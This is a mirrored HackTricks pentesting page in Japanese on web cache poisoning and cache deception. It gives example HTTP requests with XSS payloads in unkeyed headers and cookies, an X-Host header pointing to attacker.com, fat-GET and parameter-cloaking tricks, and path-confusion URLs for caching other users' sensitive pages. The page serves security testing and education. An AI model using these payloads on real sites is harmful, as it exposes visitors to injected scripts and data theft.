mirror of https://github.com/carlospolop/hacktricks synced 2024-11-14 17:07:34 +00:00

History

Translator 4a71b01210 Translated ['network-services-pentesting/pentesting-smtp/smtp-smuggling.		2024-08-18 11:02:42 +00:00
..
cache-poisoning-to-dos.md	Translated ['network-services-pentesting/pentesting-smtp/smtp-smuggling.	2024-08-18 11:02:42 +00:00
cache-poisoning-via-url-discrepancies.md	Translated ['network-services-pentesting/pentesting-smtp/smtp-smuggling.	2024-08-18 11:02:42 +00:00
README.md	Translated ['network-services-pentesting/pentesting-smtp/smtp-smuggling.	2024-08-18 11:02:42 +00:00

README.md

キャッシュポイズニングとキャッシュデセプション

{% hint style="success" %} AWSハッキングを学び、実践する：HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する：HackTricks Training GCP Red Team Expert (GRTE)

HackTricksをサポートする

サブスクリプションプランを確認してください！
**💬 DiscordグループまたはTelegramグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
ハッキングトリックを共有するには、HackTricksとHackTricks CloudのGitHubリポジトリにPRを送信してください。

{% endhint %}

Trickestを使用して、世界で最も高度なコミュニティツールによって駆動されるワークフローを簡単に構築し、自動化します。
今すぐアクセスを取得：

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=cache-deception" %}

違い

ウェブキャッシュポイズニングとウェブキャッシュデセプションの違いは何ですか？

ウェブキャッシュポイズニングでは、攻撃者がアプリケーションに悪意のあるコンテンツをキャッシュに保存させ、そのコンテンツが他のアプリケーションユーザーに提供されます。

ウェブキャッシュデセプションでは、攻撃者がアプリケーションに他のユーザーに属する機密コンテンツをキャッシュに保存させ、攻撃者がそのコンテンツをキャッシュから取得します。

キャッシュポイズニング

キャッシュポイズニングは、クライアント側のキャッシュを操作して、クライアントが予期しない、部分的、または攻撃者の制御下にあるリソースを読み込むように強制することを目的としています。影響の程度は、影響を受けるページの人気に依存します。汚染された応答は、キャッシュ汚染の期間中にページを訪れるユーザーにのみ提供されます。

キャッシュポイズニング攻撃の実行には、いくつかのステップが含まれます：

未キー入力の特定：これらは、リクエストがキャッシュされるために必要ではないパラメータですが、サーバーが返す応答を変更する可能性があります。これらの入力を特定することは重要であり、キャッシュを操作するために悪用される可能性があります。
未キー入力の悪用：未キー入力を特定した後、次のステップは、攻撃者に利益をもたらす方法でサーバーの応答を変更するためにこれらのパラメータを誤用する方法を見つけることです。
汚染された応答がキャッシュされることを確認：最終ステップは、操作された応答がキャッシュに保存されることを確認することです。これにより、キャッシュが汚染されている間に影響を受けるページにアクセスするユーザーは、汚染された応答を受け取ります。

発見：HTTPヘッダーを確認

通常、応答がキャッシュに保存された場合、それを示すヘッダーが存在します。どのヘッダーに注意を払うべきかは、この投稿で確認できます：HTTPキャッシュヘッダー。

発見：キャッシュエラーコード

応答がキャッシュに保存されていると考えている場合、不正なヘッダーでリクエストを送信してみることができます。これにはステータスコード400で応答されるべきです。その後、リクエストに通常アクセスして、応答が400ステータスコードであれば、それが脆弱であることがわかります（さらにはDoSを実行することもできます）。

さらにオプションを見つけることができます：

{% content-ref url="cache-poisoning-to-dos.md" %} cache-poisoning-to-dos.md {% endcontent-ref %}

ただし、時々これらの種類のステータスコードはキャッシュされないため、このテストは信頼できない可能性があります。

発見：未キー入力を特定し評価する

Param Minerを使用して、ページの応答を変更する可能性のあるパラメータやヘッダーをブルートフォースすることができます。たとえば、ページがX-Forwarded-Forヘッダーを使用してクライアントにスクリプトをそこから読み込むように指示している場合：

<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>

バックエンドサーバーから有害な応答を引き出す

パラメータ/ヘッダーが特定されたら、それがどのようにサニタイズされているか、どこでそれが反映されているか、またはヘッダーからの応答に影響を与えているかを確認します。何らかの方法で悪用できますか（XSSを実行する、またはあなたが制御するJSコードを読み込む？DoSを実行する？...）

応答をキャッシュさせる

悪用できるページを特定し、使用するパラメータ/ヘッダーとどのように悪用するかが分かったら、そのページをキャッシュさせる必要があります。キャッシュに取得しようとしているリソースによっては、これには時間がかかる場合があり、数秒間試みる必要があるかもしれません。

応答のヘッダー**X-Cacheは非常に役立つ可能性があります。リクエストがキャッシュされていない場合は値がmissになり、キャッシュされている場合は値がhitになります。
ヘッダーCache-Control**も、リソースがキャッシュされているかどうか、次にリソースが再キャッシュされるのはいつかを知るために興味深いです：Cache-Control: public, max-age=1800

もう一つの興味深いヘッダーは**Varyです。このヘッダーは、通常はキーがない場合でも、キャッシュキーの一部として扱われる追加のヘッダーを示す**ためにしばしば使用されます。したがって、ターゲットとしている被害者のUser-Agentを知っている場合、特定のUser-Agentを使用しているユーザーのためにキャッシュを汚染することができます。

キャッシュに関連するもう一つのヘッダーは**Age**です。これは、オブジェクトがプロキシキャッシュに存在している秒数を定義します。

リクエストをキャッシュする際は、使用するヘッダーに注意してください。いくつかのヘッダーは予期せずにキーとして使用される可能性があり、被害者はその同じヘッダーを使用する必要があります。常に異なるブラウザでキャッシュポイズニングをテストして、機能しているか確認してください。

悪用の例

最も簡単な例

X-Forwarded-Forのようなヘッダーが、サニタイズされずに応答に反映されています。
基本的なXSSペイロードを送信し、キャッシュを汚染することで、ページにアクセスするすべての人がXSSされることになります：

GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"

Note that this will poison a request to /en?region=uk not to /en

Cache poisoning to DoS

{% content-ref url="cache-poisoning-to-dos.md" %} cache-poisoning-to-dos.md {% endcontent-ref %}

クッキーはページのレスポンスに反映されることもあります。これを悪用してXSSを引き起こすことができれば、悪意のあるキャッシュレスポンスを読み込む複数のクライアントでXSSを利用できる可能性があります。

GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"

注意してください。脆弱なクッキーがユーザーによって非常に使用されている場合、定期的なリクエストがキャッシュをクリーニングします。

デリミタ、正規化、ドットを使用して不一致を生成する

確認してください：

{% content-ref url="cache-poisoning-via-url-discrepancies.md" %} cache-poisoning-via-url-discrepancies.md {% endcontent-ref %}

APIキーを盗むためのパストラバーサルによるキャッシュポイズニング

このレポートは https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123 のようなURLでOpenAI APIキーを盗むことが可能だった理由を説明しています。/share/* に一致するものはすべてキャッシュされ、リクエストがウェブサーバーに到達したときにCloudflareがURLを正規化しなかったためです。

これは以下でもより詳しく説明されています：

{% content-ref url="cache-poisoning-via-url-discrepancies.md" %} cache-poisoning-via-url-discrepancies.md {% endcontent-ref %}

複数のヘッダーを使用してウェブキャッシュポイズニングの脆弱性を悪用する

時には、キャッシュを悪用するために複数のキーなし入力を悪用する必要があります。例えば、X-Forwarded-Hostをあなたが制御するドメインに設定し、X-Forwarded-Schemeをhttpに設定すると、オープンリダイレクトを見つけることができるかもしれません。もしサーバーがすべてのHTTPリクエストをHTTPSに転送し、リダイレクトのドメイン名としてヘッダーX-Forwarded-Schemeを使用している場合、リダイレクトによってページが指し示す場所を制御できます。

GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http

限定された `Vary` ヘッダーを利用した攻撃

もし X-Host ヘッダーが JSリソースを読み込むためのドメイン名 として使用されているが、レスポンスの Vary ヘッダーが User-Agent を示している場合、被害者の User-Agent を抽出し、そのユーザーエージェントを使用してキャッシュを汚染する方法を見つける必要があります。

GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com

Fat Get

URLとボディの両方にリクエストを含むGETリクエストを送信します。ウェブサーバーがボディのものを使用するが、キャッシュサーバーがURLのものをキャッシュする場合、そのURLにアクセスする誰もが実際にはボディからのパラメータを使用します。James KettleがGithubウェブサイトで見つけた脆弱性のように：

GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 22

report=innocent-victim

There it a portswigger lab about this: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get

パラメータクロッキング

例えば、パラメータをrubyサーバーで**&の代わりに;**文字を使用して分離することが可能です。これを利用して、キーのないパラメータ値をキーのあるものの中に入れ込み、悪用することができます。

Portswigger lab: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking

HTTPリクエストスムージングを悪用したHTTPキャッシュポイズニングの悪用

HTTPリクエストスムージングを悪用したキャッシュポイズニング攻撃の実行方法について学びましょう。

ウェブキャッシュポイズニングの自動テスト

Web Cache Vulnerability Scannerを使用して、ウェブキャッシュポイズニングを自動的にテストできます。多くの異なる技術をサポートしており、高度にカスタマイズ可能です。

使用例: wcvs -u example.com

脆弱な例

Apache Traffic Server (CVE-2021-27577)

ATSはURL内のフラグメントを削除せずに転送し、ホスト、パス、クエリのみを使用してキャッシュキーを生成しました（フラグメントは無視されます）。したがって、リクエスト/#/../?r=javascript:alert(1)はバックエンドに/#/../?r=javascript:alert(1)として送信され、キャッシュキーにはペイロードが含まれていませんでした。

GitHub CP-DoS

content-typeヘッダーに不正な値を送信すると、405キャッシュレスポンスがトリガーされました。キャッシュキーにはクッキーが含まれていたため、認証されていないユーザーのみを攻撃することが可能でした。

GitLab + GCP CP-DoS

GitLabは静的コンテンツを保存するためにGCPバケットを使用しています。GCPバケットは**ヘッダーx-http-method-override**をサポートしています。したがって、ヘッダーx-http-method-override: HEADを送信し、キャッシュを毒して空のレスポンスボディを返すことが可能でした。また、PURGEメソッドもサポートされていました。

Rackミドルウェア（Ruby on Rails）

Ruby on Railsアプリケーションでは、Rackミドルウェアがよく利用されます。Rackコードの目的は、**x-forwarded-scheme**ヘッダーの値を取得し、それをリクエストのスキームとして設定することです。ヘッダーx-forwarded-scheme: httpが送信されると、同じ場所への301リダイレクトが発生し、そのリソースに対してサービス拒否（DoS）を引き起こす可能性があります。さらに、アプリケーションはX-forwarded-hostヘッダーを認識し、指定されたホストにユーザーをリダイレクトする可能性があります。この動作により、攻撃者のサーバーからJavaScriptファイルが読み込まれ、セキュリティリスクが生じる可能性があります。

403とストレージバケット

Cloudflareは以前、403レスポンスをキャッシュしていました。誤ったAuthorizationヘッダーでS3またはAzure Storage Blobsにアクセスしようとすると、403レスポンスがキャッシュされました。Cloudflareは403レスポンスのキャッシュを停止しましたが、この動作は他のプロキシサービスにまだ存在する可能性があります。

キー付きパラメータの注入

キャッシュはしばしばキャッシュキーに特定のGETパラメータを含めます。例えば、FastlyのVarnishはリクエストのsizeパラメータをキャッシュしました。しかし、URLエンコードされたバージョンのパラメータ（例:siz%65）が誤った値で送信された場合、キャッシュキーは正しいsizeパラメータを使用して構築されます。しかし、バックエンドはURLエンコードされたパラメータの値を処理します。2番目のsizeパラメータをURLエンコードすると、キャッシュによって省略されますが、バックエンドでは利用されます。このパラメータに0の値を割り当てると、キャッシュ可能な400 Bad Requestエラーが発生しました。

ユーザーエージェントルール

一部の開発者は、サーバーの負荷を管理するために、FFUFやNucleiなどの高トラフィックツールのユーザーエージェントに一致するリクエストをブロックします。皮肉なことに、このアプローチはキャッシュポイズニングやDoSなどの脆弱性を引き起こす可能性があります。

不正なヘッダーフィールド

RFC7230は、ヘッダー名における許可される文字を指定しています。指定されたtchar範囲外の文字を含むヘッダーは、理想的には400 Bad Requestレスポンスをトリガーするべきです。実際には、サーバーは常にこの標準に従うわけではありません。特に注目すべき例は、Akamaiが無効な文字を含むヘッダーを転送し、cache-controlヘッダーが存在しない限り、400エラーをキャッシュすることです。不正な文字（例:\）を含むヘッダーを送信すると、キャッシュ可能な400 Bad Requestエラーが発生するという悪用可能なパターンが特定されました。

新しいヘッダーの発見

https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6

キャッシュデセプション

キャッシュデセプションの目的は、クライアントにキャッシュによって保存される敏感な情報を持つリソースを読み込ませることです。

まず、拡張子（例：.css、.js、.pngなど）が通常キャッシュに保存されるように設定されていることに注意してください。したがって、www.example.com/profile.php/nonexistent.jsにアクセスすると、キャッシュはおそらく.js拡張子を見てレスポンスを保存します。しかし、アプリケーションが_www.example.com/profile.php_に保存された敏感なユーザーコンテンツで再生している場合、他のユーザーからそのコンテンツを盗むことができます。

他にテストすること：

www.example.com/profile.php/.js
www.example.com/profile.php/.css
www.example.com/profile.php/test.js
www.example.com/profile.php/../test.js
www.example.com/profile.php/%2e%2e/test.js
あまり知られていない拡張子（例：.avif）を使用する

非常に明確な別の例は、この書き込みで見つけることができます: https://hackerone.com/reports/593712。
この例では、存在しないページ（例：http://www.example.com/home.php/non-existent.css）を読み込むと、http://www.example.com/home.php（ユーザーの敏感な情報を含む）の内容が返され、キャッシュサーバーが結果を保存することが説明されています。
その後、攻撃者は自分のブラウザで_http://www.example.com/home.php/non-existent.css_にアクセスし、以前にアクセスしたユーザーの機密情報を観察できます。

キャッシュプロキシは、ファイルの拡張子（.css）に基づいてファイルをキャッシュするように設定されるべきであり、コンテンツタイプに基づいてはなりません。例として_http://www.example.com/home.php/non-existent.css_は、_.css_ファイルに期待されるtext/css MIMEタイプの代わりにtext/htmlコンテンツタイプを持ちます。

HTTPリクエストスムージングを悪用したキャッシュデセプション攻撃の実行方法について学びましょう。

自動ツール

toxicache: URLのリスト内でウェブキャッシュポイズニングの脆弱性を見つけ、複数の注入技術をテストするためのGolangスキャナー。

参考文献

Trickestを使用して、世界で最も高度なコミュニティツールによって駆動されるワークフローを簡単に構築し、自動化します。
今すぐアクセスを取得：